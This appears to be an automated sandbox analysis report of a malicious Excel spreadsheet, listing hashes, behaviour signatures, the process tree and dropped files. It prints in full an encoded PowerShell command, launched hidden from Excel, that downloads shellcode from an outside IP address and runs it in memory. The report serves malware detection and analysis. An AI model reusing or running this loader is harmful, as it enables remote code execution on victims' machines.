Analysis

  • max time kernel
    34s
  • max time network
    39s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:53

General

  • Target

    21082cd4feb0b0677431cba4e50e79f3d286e607a612426c939d2ffd68f40d7d.xls

  • Size

    46KB

  • MD5

    91a8f1f8d5d649493525be750e871d58

  • SHA1

    3e0c14d9f11d6ac916de2fc516c23dd3c85d38d0

  • SHA256

    21082cd4feb0b0677431cba4e50e79f3d286e607a612426c939d2ffd68f40d7d

  • SHA512

    40980b4157894e8c41ba374eef8a55e6447e6914d39b46c78ca73fd72c7b472fa0839810ef005891ebbbb75eb6c101c85a076718345a89adf9b288800ff3a138

  • SSDEEP

    768:f4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:gSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\21082cd4feb0b0677431cba4e50e79f3d286e607a612426c939d2ffd68f40d7d.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1760
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kznoktjg\kznoktjg.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4172
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1AA.tmp" "c:\Users\Admin\AppData\Local\Temp\kznoktjg\CSCED97D26999C74B27BCE341846D169867.TMP"
          4⤵
            PID:2636

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESC1AA.tmp

      Filesize

      1KB

      MD5

      fb49e17676efdf0ea4bedff3608c149a

      SHA1

      9d850b836244ea7098e943c97464c275a928f003

      SHA256

      34f1a0c53420e2aae548f5318f7d5e5990795ed4ca7ed7e3ff25d52cf9b4d540

      SHA512

      6ce76206fb11902cc5fa528bf898004b1207fb284cdea8117f8a002ba5378b41d83ea7891a09f403de7420ac3c0ba7f11f74779c8657ceffd814d1194d150a00

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lmxirxwt.jam.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\kznoktjg\kznoktjg.dll

      Filesize

      3KB

      MD5

      171d62d840c2e770680d13a960bf6435

      SHA1

      7c57fe0ed2bf6d86617d4877f924d656d4a89d7c

      SHA256

      36cedcee3076c87a9f0f16aa76c3df265b5d64e44ff4e7919a39ffc4113ffe2c

      SHA512

      6e0e1a6aa540d8b73e5fd5825cf06be9e111362e78e967217c0934b23391570d64145519da877b767c4b81ea3187997fb7e530e24a86a7ba1e0e2efcd8b07bdc

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      3KB

      MD5

      f31e7cc9cea122ae39e2470da1a56613

      SHA1

      d6c2af6a1994dbf659e855b84483ff55d50edcfc

      SHA256

      314a3a67e6b7e324fe70f886f8c4548a72b7cbadbcbe49776dd1c2ef5a377e6f

      SHA512

      3dd22209610bb3bad8ea8a2c095ba56bd9c3fdbb658ac26764c313bbb0edbfe15e2fc2aa3195a1e75a8119ec13e5bf1b45f88abab2198a15e48e9bbee1fe0e1c

    • \??\c:\Users\Admin\AppData\Local\Temp\kznoktjg\CSCED97D26999C74B27BCE341846D169867.TMP

      Filesize

      652B

      MD5

      e599d4a7c56d2526fe04f64d6dacc3a5

      SHA1

      1311032a7f9d919c7c1f30849f6c21402b7c7e1a

      SHA256

      7dd88f1887104016beaa0b0b5eb9b38e337ccf96c2f62daf92ba68f815a9e4de

      SHA512

      9148c4be02ba2bb54e14a5d4e9ee30a5646ebb2e13a39f02a9149671959ec2880153adec9994829c3345777f43931c9ee18969d47ece56c23e8ffde846a65ff0

    • \??\c:\Users\Admin\AppData\Local\Temp\kznoktjg\kznoktjg.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\kznoktjg\kznoktjg.cmdline

      Filesize

      369B

      MD5

      cf0f41cd3c228b2136aa426510deba19

      SHA1

      2b3efd51d5b5bf7ceb9ab331e9d67ff4b2947832

      SHA256

      96136a50e603af06e23b4739cff3196c3827e9de49bc9bb2541607f851cacadd

      SHA512

      ece5b4e0fc456e964a94d26b4ad38ad0bd61d2e63d09a8bf16f6ab1aaf04f775adc7816b65039f30cc6bd3edb26cff6acba4b7643b75ed38f6132eb646150e24

    • memory/1760-59-0x0000025BAF0F0000-0x0000025BAF0F8000-memory.dmp

      Filesize

      32KB

    • memory/1760-45-0x0000025BAF100000-0x0000025BAF122000-memory.dmp

      Filesize

      136KB

    • memory/4836-19-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-9-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-11-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-12-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-13-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-14-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-15-0x00007FFB25720000-0x00007FFB25730000-memory.dmp

      Filesize

      64KB

    • memory/4836-17-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-18-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-3-0x00007FFB27C10000-0x00007FFB27C20000-memory.dmp

      Filesize

      64KB

    • memory/4836-20-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-16-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-32-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-33-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-8-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-10-0x00007FFB25720000-0x00007FFB25730000-memory.dmp

      Filesize

      64KB

    • memory/4836-6-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-7-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-51-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-0-0x00007FFB27C10000-0x00007FFB27C20000-memory.dmp

      Filesize

      64KB

    • memory/4836-1-0x00007FFB67C2D000-0x00007FFB67C2E000-memory.dmp

      Filesize

      4KB

    • memory/4836-5-0x00007FFB27C10000-0x00007FFB27C20000-memory.dmp

      Filesize

      64KB

    • memory/4836-2-0x00007FFB27C10000-0x00007FFB27C20000-memory.dmp

      Filesize

      64KB

    • memory/4836-62-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-61-0x00007FFB67C2D000-0x00007FFB67C2E000-memory.dmp

      Filesize

      4KB

    • memory/4836-63-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-64-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-65-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-71-0x00007FFB67B90000-0x00007FFB67D85000-memory.dmp

      Filesize

      2.0MB

    • memory/4836-4-0x00007FFB27C10000-0x00007FFB27C20000-memory.dmp

      Filesize

      64KB